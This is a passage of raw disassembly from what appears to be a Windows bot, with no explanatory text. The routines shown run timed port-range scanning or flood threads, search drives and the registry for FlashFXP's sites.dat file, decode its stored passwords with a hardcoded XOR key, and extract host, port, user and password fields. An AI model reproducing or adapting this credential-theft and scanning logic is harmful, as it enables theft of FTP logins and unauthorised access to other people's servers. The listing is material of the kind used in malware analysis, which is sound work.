		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D050
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------

loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D018
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------

loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41CFE8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------

loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"

loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD

loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------

loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------

loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h

loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F

loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------

loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------

loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D080
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------

loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D0F0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	dword_41709C	; Sleep

loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64	; clock
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0

loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487

loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------

loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------

loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597

loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------

loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------

loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D0DC
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------

loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------

loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
		fild	[ebp+var_2DC]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D0A0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617

loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax

loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643

loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663

loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax

loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------

loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h

loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD

loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h

loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------

loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h

loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704

loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h

loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------

loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax

loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------

loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax

loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D138
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------

loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax

loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------

loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax

loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------

loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"

loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------

loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------

loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------

loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------

loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax

loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------

loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------

loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------

loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D308
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------

loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------

loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h

loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------

loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90	; fread
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax

loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D300 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser_0	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass_0	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
